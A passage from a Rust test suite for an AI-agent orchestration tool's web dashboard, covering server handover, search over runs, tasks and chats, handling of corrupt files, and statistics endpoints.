11154 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11166 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11167 let home = TempDir::new().expect("temp home");
11168 let runs = home.path().join("runs");
11169 std::fs::create_dir_all(&runs).expect("runs dir");
11170 let ui = Ui::new(
11171 Queue::at(home.path().join("queue")),
11172 Questions::at(home.path().join("questions")),
11173 Talks::at(home.path().join("talks")),
11174 runs,
11175 home.path().to_path_buf(),
11176 PathBuf::from("/repo/magi"),
11177 )
11178 .with_worktrees_root(home.path().join("wt"))
11179 .with_launch(launch_knocking_on_the_way_out);
11180 let looping = ui.looping();
11181 let turns = ui.turns();
11182 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11183 .await
11184 .expect("bind loopback");
11185 let addr = listener.local_addr().expect("local addr");
11186 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11187 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11188
11189 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11190 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11191
11192 let bound = std::sync::Mutex::new(None);
11207 hand_over(
11208 home.path(),
11209 &looping,
11210 &turns,
11211 &|_: &[String]| Duration::from_secs(5),
11212 served,
11213 |_| {
11214 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11215 let attempt = loop {
11216 match std::net::TcpListener::bind(addr) {
11217 Ok(l) => {
11218 drop(l);
11219 break Ok(());
11220 }
11221 Err(e)
11222 if e.kind() == std::io::ErrorKind::AddrInUse
11223 && std::time::Instant::now() < deadline =>
11224 {
11225 std::thread::sleep(std::time::Duration::from_millis(10));
11226 }
11227 Err(e) => break Err(e.to_string()),
11228 }
11229 };
11230 *bound.lock().expect("bound") = Some(attempt);
11231 Ok(1)
11232 },
11233 )
11234 .await
11235 .expect("hand over");
11236
11237 assert_eq!(
11238 *PARK_HEARD.lock().expect("park heard"),
11239 Some(200),
11240 "the deck must answer while the loop is parking"
11241 );
11242 let attempt = bound
11243 .lock()
11244 .expect("bound")
11245 .take()
11246 .expect("the successor was started");
11247 assert!(
11248 attempt.is_ok(),
11249 "and the address must be free by the time it is: {attempt:?}"
11250 );
11251 }
11252
11253 #[tokio::test]
11254 async fn a_newer_daemon_status_file_still_renders() {
11255 let f = Fixture::start().await;
11256 std::fs::write(
11259 f.home.path().join("daemon.json"),
11260 serde_json::json!({
11261 "schema": 2,
11262 "updated_at": Timestamp::now().to_string(),
11263 "idle": true,
11264 "surprise": { "nested": [1, 2, 3] },
11265 })
11266 .to_string(),
11267 )
11268 .expect("write daemon.json");
11269
11270 let health = f.get("/api/health").await;
11271
11272 assert_eq!(health.status, 200);
11273 assert_eq!(health.json()["daemon"]["running"], true);
11274 }
11275
11276 #[tokio::test]
11277 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11278 let f = Fixture::start().await;
11279 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11280 let broken = f.runs().join("20260902-140502-bad");
11281 std::fs::create_dir_all(&broken).expect("run dir");
11282 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11283
11284 let list = f.get("/api/runs").await;
11285 let detail = f.get("/api/runs/20260902-140502-bad").await;
11286
11287 assert_eq!(list.status, 200);
11288 let listed = list.json();
11289 let ids: Vec<&str> = listed
11290 .as_array()
11291 .expect("an array")
11292 .iter()
11293 .map(|r| r["id"].as_str().expect("an id"))
11294 .collect();
11295 assert_eq!(
11296 ids,
11297 vec!["20260902-140501-good"],
11298 "one unreadable run must not cost the operator the whole history"
11299 );
11300 assert_eq!(detail.status, 500);
11301 assert!(
11302 detail.json()["error"]
11303 .as_str()
11304 .is_some_and(|e| e.contains("run.json")),
11305 "the failure names the file to look at: {}",
11306 detail.body
11307 );
11308 let health = f.get("/api/health").await;
11312 assert_eq!(health.json()["runs_unreadable"], 1);
11313 }
11314
11315 #[tokio::test]
11317 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11318 let f = Fixture::start().await;
11319 let runs = f.runs();
11320 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11321 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11322 let path = runs.join("20260902-140502-bbbb").join("run.json");
11325 let mut v: serde_json::Value =
11326 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11327 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11328 std::fs::write(&path, v.to_string()).unwrap();
11329 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11330 std::fs::write(
11331 runs.join("20260902-140503-cccc").join("run.json"),
11332 "{ not json",
11333 )
11334 .unwrap();
11335
11336 let res = f.get("/api/search?scope=runs&q=quokka").await;
11337 assert_eq!(res.status, 200, "{}", res.body);
11338 let v = res.json();
11339 assert_eq!(v["total"], 1, "{v}");
11340 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11341 assert_eq!(v["hits"][0]["field"], "text");
11342 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11343 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11344 assert!(
11345 parts
11346 .iter()
11347 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11348 "{v}"
11349 );
11350 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11351 assert_eq!(
11352 flat, "The Quokka leaks across threads",
11353 "whitespace is collapsed"
11354 );
11355
11356 let both = f
11358 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11359 .await
11360 .json();
11361 assert_eq!(both["total"], 1, "{both}");
11362 let neither = f
11363 .get("/api/search?scope=runs&q=quokka%20zebra")
11364 .await
11365 .json();
11366 assert_eq!(neither["total"], 0, "{neither}");
11367 let stmt = f
11369 .get("/api/search?scope=runs&q=mobile%20first")
11370 .await
11371 .json();
11372 assert_eq!(stmt["total"], 2, "{stmt}");
11373 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11374 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11375 }
11376
11377 #[test]
11378 fn snippet_ignores_terms_longer_than_the_field() {
11379 let terms = ["ok".to_owned(), "elephant".to_owned()];
11380 let parts = snippet_of("ok", &terms);
11381 assert_eq!(
11382 parts,
11383 vec![SnippetPart {
11384 text: "ok".to_owned(),
11385 hit: true
11386 }]
11387 );
11388 }
11389
11390 #[test]
11391 fn snippet_marks_matches_longer_than_the_window() {
11392 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11393 let hit_len = |parts: &[SnippetPart]| -> usize {
11394 parts
11395 .iter()
11396 .filter(|p| p.hit)
11397 .map(|p| p.text.chars().count())
11398 .sum()
11399 };
11400 let total =
11401 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11402
11403 let long = "a".repeat(120);
11404 let parts = snippet_of(&long, std::slice::from_ref(&long));
11405 assert!(hit_len(&parts) > 0, "{parts:?}");
11406 assert!(total(&parts) <= cap);
11407
11408 let ja = "あ".repeat(130);
11409 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11410 assert!(hit_len(&parts) > 0, "{parts:?}");
11411 assert!(total(&parts) <= cap);
11412
11413 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11415 let term = format!("ab{}", "c".repeat(100));
11416 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11417 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11418 assert!(total(&parts) <= cap);
11419
11420 let text = format!("{}z", "a".repeat(119));
11422 let parts = snippet_of(&text, &["a".repeat(120)]);
11423 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11424 }
11425
11426 #[tokio::test]
11427 async fn search_caps_hits_and_snippet_length() {
11428 let f = Fixture::start().await;
11429 let runs = f.runs();
11430 for n in 0..(SEARCH_MAX_HITS + 5) {
11431 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11432 }
11433 let v = f.get("/api/search?scope=runs&q=web").await.json();
11434 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11435 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11436 assert_eq!(v["truncated"], true);
11437 assert!(
11439 v["hits"]
11440 .as_array()
11441 .unwrap()
11442 .iter()
11443 .all(|h| h["run"]["status"] == "merged")
11444 );
11445
11446 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11447 let parts = snippet_of(&long, &["needle".to_owned()]);
11448 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11449 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11450 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11451 }
11452
11453 #[tokio::test]
11454 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11455 let f = Fixture::start().await;
11456 let queue = f.queue();
11457 let mut t = Task::new(
11458 "short title".to_owned(),
11459 "line one\nthe hidden Armadillo detail".to_owned(),
11460 PathBuf::from("/repo/magi"),
11461 Source::Agent {
11462 run: "r1".to_owned(),
11463 node: "chat".to_owned(),
11464 },
11465 );
11466 t.last_error = Some("disk full on /tmp".to_owned());
11467 queue.put(&mut t).expect("file the task");
11468
11469 for (q, want) in [
11470 ("armadillo", 1),
11471 ("disk%20FULL", 1),
11472 ("chat", 1),
11473 ("queued", 1),
11474 ("short%20nothing", 0),
11475 ] {
11476 let v = f
11477 .get(&format!("/api/search?scope=tasks&q={q}"))
11478 .await
11479 .json();
11480 assert_eq!(v["total"], want, "{q}: {v}");
11481 }
11482 for bad in [
11483 "/api/search?scope=tasks&q=",
11484 "/api/search?scope=tasks&q=%20",
11485 "/api/search?scope=chats&q=",
11486 "/api/search?scope=chats&q=%20",
11487 "/api/search?scope=nope&q=a",
11488 "/api/search?q=a",
11489 ] {
11490 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11491 }
11492 }
11493
11494 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11496 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11497 .expect("seat value");
11498 let turns: Vec<serde_json::Value> = turns
11499 .iter()
11500 .map(|(who, body)| {
11501 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11502 })
11503 .collect();
11504 let doc = serde_json::json!({
11505 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11506 "status": status, "turns": turns,
11507 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11508 "seat": seat,
11509 });
11510 let dir = f.home.path().join("talks");
11511 std::fs::create_dir_all(&dir).expect("talks dir");
11512 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11513 }
11514
11515 #[tokio::test]
11516 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11517 let f = Fixture::start().await;
11518 write_talk(
11519 &f,
11520 "20260901-000001-aaaa",
11521 "open",
11522 &[
11523 (
11524 "operator",
11525 "\n Why does the Pangolin cache expire?\nsecond line",
11526 ),
11527 ("agent", "Because the TTL is thirty seconds."),
11528 ],
11529 );
11530 write_talk(
11531 &f,
11532 "20260901-000002-bbbb",
11533 "closed",
11534 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11535 );
11536 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11537
11538 let search = |q: &'static str| {
11539 let f = &f;
11540 async move {
11541 f.get(&format!("/api/search?scope=chats&q={q}"))
11542 .await
11543 .json()
11544 }
11545 };
11546
11547 let v = search("PANGOLIN").await;
11548 assert_eq!(v["scope"], "chats");
11549 assert_eq!(v["total"], 1, "{v}");
11550 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11551 assert_eq!(v["hits"][0]["field"], "title");
11552 assert_eq!(v["unreadable"], 1, "{v}");
11553 let marked: Vec<&str> = v["hits"][0]["snippet"]
11554 .as_array()
11555 .unwrap()
11556 .iter()
11557 .filter(|p| p["hit"] == true)
11558 .map(|p| p["text"].as_str().unwrap())
11559 .collect();
11560 assert_eq!(marked, ["Pangolin"]);
11561
11562 let v = search("zebra").await;
11564 assert_eq!(v["total"], 1, "{v}");
11565 assert_eq!(v["hits"][0]["field"], "agent");
11566 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11568 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11569 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11571 assert_eq!(search(q).await["total"], 0, "{q}");
11572 }
11573 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11575 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11577
11578 let v = f.get("/api/search?scope=nope&q=a").await;
11579 assert_eq!(v.status, 400);
11580 assert!(
11581 v.body.contains("scope must be runs, tasks or chats"),
11582 "{}",
11583 v.body
11584 );
11585 }
11586
11587 #[test]
11588 fn a_question_card_links_a_task_id_to_the_task_page() {
11589 let start = APP_JS
11590 .find("function updateAskCard(")
11591 .expect("updateAskCard exists");
11592 let body = &APP_JS[start..];
11593 let body = &body[..body.find("\n}\n").expect("function end")];
11594 assert!(body.contains("question.run_is_task"));
11595 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11596 assert!(body.contains("`#/runs/${question.run}`"));
11597 assert!(body.contains("\"task\" : \"run\""));
11598 }
11599
11600 #[test]
11601 fn stats_bars_share_one_id_keyed_plan() {
11602 let start = APP_JS
11603 .find("function statsBarRows(")
11604 .expect("statsBarRows exists");
11605 let body = &APP_JS[start..];
11606 let body = &body[..body.find("\n}\n").expect("function end")];
11607 assert!(body.contains("statsBarPlan(rows)"));
11608 assert!(body.contains("statsAgentTone(row.agent)"));
11609 assert!(!body.contains("candTone(i)"));
11610 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11611 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11612 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11613 }
11614 }
11615
11616 #[test]
11617 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11618 let start = APP_JS
11619 .find("function renderStatsReviewerScatter(")
11620 .expect("renderStatsReviewerScatter exists");
11621 let body = &APP_JS[start..];
11622 let body = &body[..body.find("\n}\n").expect("function end")];
11623 assert!(body.contains("statsScatterPlan(reviewers)"));
11624 assert!(body.contains("statsAgentTone(d.agent)"));
11625 assert!(APP_JS.contains("function statsScatterPlan("));
11626 assert!(
11627 APP_JS.contains("d.submitted < STATS_LOW_N")
11628 || APP_JS.contains("r.submitted < STATS_LOW_N")
11629 );
11630 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11631 assert!(APP_CSS.contains(".precision-scatter"));
11632 }
11633
11634 #[test]
11635 fn advisor_reflection_is_drawn_as_stacked_segments() {
11636 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11637 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11638 let html = include_str!("../assets/ui/index.html");
11639 assert!(html.contains("Approximate"));
11640 for label in ["reflected strongly", "faint", "no proposal"] {
11641 assert!(html.contains(label));
11642 }
11643 let css = include_str!("../assets/ui/app.css");
11644 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11645 assert!(css.contains(&format!(".{c} {{")));
11646 }
11647 }
11648
11649 #[test]
11650 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11651 assert!(APP_JS.contains("function statsDailyPlan("));
11652 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11653 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11654 }
11655
11656 #[test]
11657 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11658 let start = APP_JS
11659 .find("function scheduleSearch(")
11660 .expect("scheduleSearch exists");
11661 let body = &APP_JS[start..];
11662 let body = &body[..body.find("\n}\n").expect("function end")];
11663 assert!(body.contains("s.seq += 1"));
11664 }
11665
11666 #[tokio::test]
11671 async fn stats_runs_unreadable_matches_health() {
11672 let f = Fixture::start().await;
11673 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11674 let broken = f.runs().join("20260902-140502-bad");
11675 std::fs::create_dir_all(&broken).expect("run dir");
11676 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11677
11678 let stats = f.get("/api/stats").await;
11679 let health = f.get("/api/health").await;
11680
11681 assert_eq!(stats.status, 200);
11682 assert_eq!(stats.json()["totals"]["runs"], 1);
11683 assert_eq!(stats.json()["runs_unreadable"], 1);
11684 assert_eq!(
11685 stats.json()["runs_unreadable"],
11686 health.json()["runs_unreadable"],
11687 "the dashboard and /api/health must never disagree about how many \
11688 runs could not be read"
11689 );
11690 }
11691
11692 #[tokio::test]
11693 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11694 let f = Fixture::start().await;
11695 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11696 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11697 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11698
11699 let totals = &f.get("/api/stats").await.json()["totals"];
11700 assert_eq!(totals["runs"], 3);
11701 assert_eq!(totals["merged"], 1);
11702 assert_eq!(totals["stalled"], 1);
11703 assert_eq!(totals["in_progress"], 1);
11704 assert_eq!(totals["blocked"], 0);
11707 assert_eq!(totals["ready"], 0);
11708 }
11709
11710 #[tokio::test]
11711 async fn stats_advisors_report_proposals_and_reflection() {
11712 use crate::advise::{Advice, AdvisorRecord, Reflection};
11713 use crate::verdict::Proposal;
11714
11715 let f = Fixture::start().await;
11716 let mut state = RunState::new(
11717 PathBuf::from("/repo/magi"),
11718 "main".to_owned(),
11719 "0123456789abcdef".to_owned(),
11720 "task".to_owned(),
11721 Config::default(),
11722 );
11723 state.id = "20260902-140501-a".to_owned();
11724 state.status = RunStatus::Merged;
11725 state.advice = Some(Advice {
11726 records: vec![
11727 AdvisorRecord {
11728 seat: "advisor-1".to_owned(),
11729 agent: "alpha".to_owned(),
11730 proposal: Some(Proposal {
11731 approach: "do it".to_owned(),
11732 key_tradeoff: "speed over memory".to_owned(),
11733 risks: Vec::new(),
11734 touches: Vec::new(),
11735 why_not_naive: "breaks under load".to_owned(),
11736 }),
11737 error: None,
11738 duration_ms: 0,
11739 reflection: Reflection::Strong,
11740 },
11741 AdvisorRecord {
11742 seat: "advisor-2".to_owned(),
11743 agent: "alpha".to_owned(),
11744 proposal: None,
11745 error: Some("timed out".to_owned()),
11746 duration_ms: 0,
11747 reflection: Reflection::Absent,
11748 },
11749 ],
11750 synthesis: Some("blended brief".to_owned()),
11751 });
11752 let dir = f.runs().join(&state.id);
11753 std::fs::create_dir_all(&dir).expect("run dir");
11754 std::fs::write(
11755 dir.join("run.json"),
11756 serde_json::to_string_pretty(&state).expect("serialize run"),
11757 )
11758 .expect("write run.json");
11759
11760 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11762 let alpha = advisors
11763 .as_array()
11764 .expect("an array")
11765 .iter()
11766 .find(|a| a["agent"] == "alpha")
11767 .expect("alpha row");
11768 assert_eq!(alpha["seated"], 2);
11769 assert_eq!(alpha["proposed"], 1);
11770 assert_eq!(alpha["absent"], 1);
11771 assert_eq!(alpha["strong"], 1);
11772 assert_eq!(alpha["faint"], 0);
11773 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11774 }
11775
11776 #[tokio::test]
11777 async fn stats_hides_agents_outside_the_roster_unless_all() {
11778 use crate::run::Candidate;
11779 let repo = TempDir::new().expect("repo dir");
11780 std::fs::write(
11781 repo.path().join("magi.toml"),
11782 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11783 )
11784 .expect("magi.toml");
11785 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11786 let mut state = RunState::new(
11787 PathBuf::from("/repo/magi"),
11788 "main".to_owned(),
11789 "0123456789abcdef".to_owned(),
11790 "task".to_owned(),
11791 Config::default(),
11792 );
11793 state.id = "20260902-140501-a".to_owned();
11794 state.status = RunStatus::Merged;
11795 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11796 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11797 "index": 0, "label": label.to_string(), "agent": agent,
11798 "branch": "b", "worktree": "/w",
11799 }))
11800 .expect("candidate");
11801 c.label = label;
11802 state.candidates.push(c);
11803 }
11804 let dir = f.runs().join(&state.id);
11805 std::fs::create_dir_all(&dir).expect("run dir");
11806 std::fs::write(
11807 dir.join("run.json"),
11808 serde_json::to_string_pretty(&state).expect("serialize run"),
11809 )
11810 .expect("write run.json");
11811
11812 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11813 v["agents"]
11814 .as_array()
11815 .expect("array")
11816 .iter()
11817 .map(|a| a["agent"].as_str().unwrap().to_owned())
11818 .collect()
11819 };
11820 let hidden = f.get("/api/stats").await.json();
11821 assert_eq!(agents_of(&hidden), ["keep"]);
11822 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11823 assert_eq!(hidden["totals"]["runs"], 1);
11824
11825 let all = f.get("/api/stats?all=true").await.json();
11826 assert_eq!(agents_of(&all).len(), 2);
11827 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11828 }
11829
11830 #[tokio::test]
11831 async fn stats_release_bumps_split_clean_from_attention() {
11832 use crate::run::ReleaseBump;
11833
11834 let f = Fixture::start().await;
11835
11836 let mut clean = RunState::new(
11837 PathBuf::from("/repo/magi"),
11838 "main".to_owned(),
11839 "0123456789abcdef".to_owned(),
11840 "task".to_owned(),
11841 Config::default(),
11842 );
11843 clean.id = "20260902-140501-a".to_owned();
11844 clean.status = RunStatus::Merged;
11845 clean.release_bump = Some(ReleaseBump {
11846 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11847 version: Some("1.0.0".to_owned()),
11848 automerge_enabled: true,
11849 merged_directly: false,
11850 local: false,
11851 release: None,
11852 problem: None,
11853 action_required: None,
11854 });
11855
11856 let mut blocked = RunState::new(
11857 PathBuf::from("/repo/magi"),
11858 "main".to_owned(),
11859 "0123456789abcdef".to_owned(),
11860 "task".to_owned(),
11861 Config::default(),
11862 );
11863 blocked.id = "20260902-140502-b".to_owned();
11864 blocked.status = RunStatus::Merged;
11865 blocked.release_bump = Some(ReleaseBump {
11866 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11867 version: Some("1.0.1".to_owned()),
11868 automerge_enabled: false,
11869 merged_directly: false,
11870 local: false,
11871 release: None,
11872 problem: Some("checks red".to_owned()),
11873 action_required: Some("look at the PR".to_owned()),
11874 });
11875
11876 for state in [&clean, &blocked] {
11877 let dir = f.runs().join(&state.id);
11878 std::fs::create_dir_all(&dir).expect("run dir");
11879 std::fs::write(
11880 dir.join("run.json"),
11881 serde_json::to_string_pretty(state).expect("serialize run"),
11882 )
11883 .expect("write run.json");
11884 }
11885
11886 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11887 assert_eq!(bumps["merged"], 2);
11888 assert_eq!(bumps["recorded"], 2);
11889 assert_eq!(bumps["pr_opened"], 2);
11890 assert_eq!(bumps["automerge_enabled"], 1);
11891 assert_eq!(bumps["needs_attention"], 1);
11892 assert_eq!(bumps["clean"], 1);
11893 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11894 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11895 }
11896
11897 #[tokio::test]
11898 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11899 let f = Fixture::start().await;
11900 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11901
11902 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11903 assert_eq!(bumps["merged"], 1);
11904 assert_eq!(bumps["recorded"], 0);
11905 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11908 assert_eq!(bumps["automerge_rate"], Value::Null);
11911 assert_eq!(bumps["attention_rate"], Value::Null);
11912 }
11913
11914 #[tokio::test]
11915 async fn stats_queue_counts_come_from_the_live_queue() {
11916 let f = Fixture::start().await;
11917 let q = f.queue();
11918 let mut queued = Task::new(
11919 "queued task".to_owned(),
11920 "do it".to_owned(),
11921 PathBuf::from("/repo"),
11922 Source::Human,
11923 );
11924 q.put(&mut queued).expect("put queued");
11925 let mut held = Task::new(
11926 "held task".to_owned(),
11927 "do it later".to_owned(),
11928 PathBuf::from("/repo"),
11929 Source::Human,
11930 );
11931 held.hold_machine(Some("out of attempts".to_owned()));
11932 q.put(&mut held).expect("put held");
11933
11934 let queue = f.get("/api/stats").await.json()["queue"].clone();
11935 assert_eq!(queue["queued"], 1);
11936 assert_eq!(queue["held"], 1);
11937 assert_eq!(queue["running"], 0);
11938 assert_eq!(queue["done"], 0);
11939 assert_eq!(queue["failed"], 0);
11940 assert_eq!(queue["blocked"], 0);
11941 }
11942
11943 #[tokio::test]
11944 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11945 let f = Fixture::start().await;
11946 let stats = f.get("/api/stats").await;
11947 assert_eq!(stats.status, 200);
11948 assert_eq!(stats.json()["totals"]["runs"], 0);
11949 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11950 assert_eq!(stats.json()["runs_unreadable"], 0);
11951 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11952 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11953 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11954 assert_eq!(stats.json()["repo"], Value::Null);
11955 }
11956
11957 #[tokio::test]
11958 async fn stats_lists_every_repository_with_runs_recorded() {
11959 let f = Fixture::start().await;
11960 write_run_repo(
11961 &f.runs(),
11962 "20260902-140501-a",
11963 RunStatus::Merged,
11964 "/repos/a",
11965 );
11966 write_run_repo(
11967 &f.runs(),
11968 "20260902-140502-b",
11969 RunStatus::Merged,
11970 "/repos/a",
11971 );
11972 write_run_repo(
11973 &f.runs(),
11974 "20260902-140503-c",
11975 RunStatus::Blocked,
11976 "/repos/b",
11977 );
11978
11979 let stats = f.get("/api/stats").await;
11980 assert_eq!(stats.status, 200);
11981 assert_eq!(stats.json()["totals"]["runs"], 3);
11983 assert_eq!(stats.json()["repo"], Value::Null);
11984
11985 let repos = stats.json()["repos"].clone();
11986 let repos = repos.as_array().unwrap();
11987 assert_eq!(repos.len(), 2);
11988 assert_eq!(repos[0]["repo"], "/repos/a");
11990 assert_eq!(repos[0]["name"], "a");
11991 assert_eq!(repos[0]["runs"], 2);
11992 assert_eq!(repos[1]["repo"], "/repos/b");
11993 assert_eq!(repos[1]["runs"], 1);
11994 }
11995
11996 #[tokio::test]
11997 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11998 let f = Fixture::start().await;
11999 write_run_repo(
12000 &f.runs(),
12001 "20260902-140501-a",
12002 RunStatus::Merged,
12003 "/repos/a",
12004 );
12005 write_run_repo(
12006 &f.runs(),
12007 "20260902-140502-b",
12008 RunStatus::Blocked,
12009 "/repos/b",
12010 );
12011
12012 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12013 assert_eq!(stats.status, 200);
12014 assert_eq!(stats.json()["totals"]["runs"], 1);
12015 assert_eq!(stats.json()["totals"]["merged"], 1);
12016 assert_eq!(stats.json()["repo"], "/repos/a");
12017 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12020 assert_eq!(stats.json()["runs_unreadable"], 0);
12023 }
12024
12025 #[tokio::test]
12026 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12027 let f = Fixture::start().await;
12028 write_run_repo(
12029 &f.runs(),
12030 "20260902-140501-a",
12031 RunStatus::Merged,
12032 "/repos/a",
12033 );
12034 write_run_repo(
12035 &f.runs(),
12036 "20260902-140502-b",
12037 RunStatus::Merged,
12038 "/repos/b",
12039 );
12040
12041 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12042 let json = f.get(uri).await.json();
12043 let daily = json["daily"].as_array().expect("daily is an array");
12044 assert_eq!(daily.len(), 30);
12045 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12046 let mut sorted = dates.clone();
12047 sorted.sort();
12048 assert_eq!(dates, sorted);
12049 for d in daily {
12050 assert_eq!(
12051 d["merged"].as_u64().unwrap()
12052 + d["ready"].as_u64().unwrap()
12053 + d["other"].as_u64().unwrap(),
12054 d["runs"].as_u64().unwrap()
12055 );
12056 }
12057 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12058 }
12059 }
12060
12061 #[tokio::test]
12062 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12063 let f = Fixture::start().await;
12064 write_run_repo(
12065 &f.runs(),
12066 "20260902-140501-a",
12067 RunStatus::Merged,
12068 "/repos/a",
12069 );
12070
12071 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12072 assert_eq!(stats.status, 404);
12073 }
12074
12075 #[tokio::test]
12076 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12077 let f = Fixture::start().await;
12078 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12079
12080 let summary = f.get("/api/runs").await.json();
12081 let row = &summary[0];
12082 assert_eq!(row["short"], "a1b2");
12083 assert_eq!(row["status"], "ready");
12084 assert_eq!(row["done"], true);
12085 assert_eq!(row["title"], "Add a web UI");
12086 assert_eq!(row["repo_name"], "magi");
12087 assert_eq!(row["judges"], 3);
12088 assert_eq!(row["winner"], Value::Null);
12089 assert_eq!(row["reviews"], 0);
12090
12091 let detail = f.get("/api/runs/a1b2").await;
12094 assert_eq!(detail.status, 200);
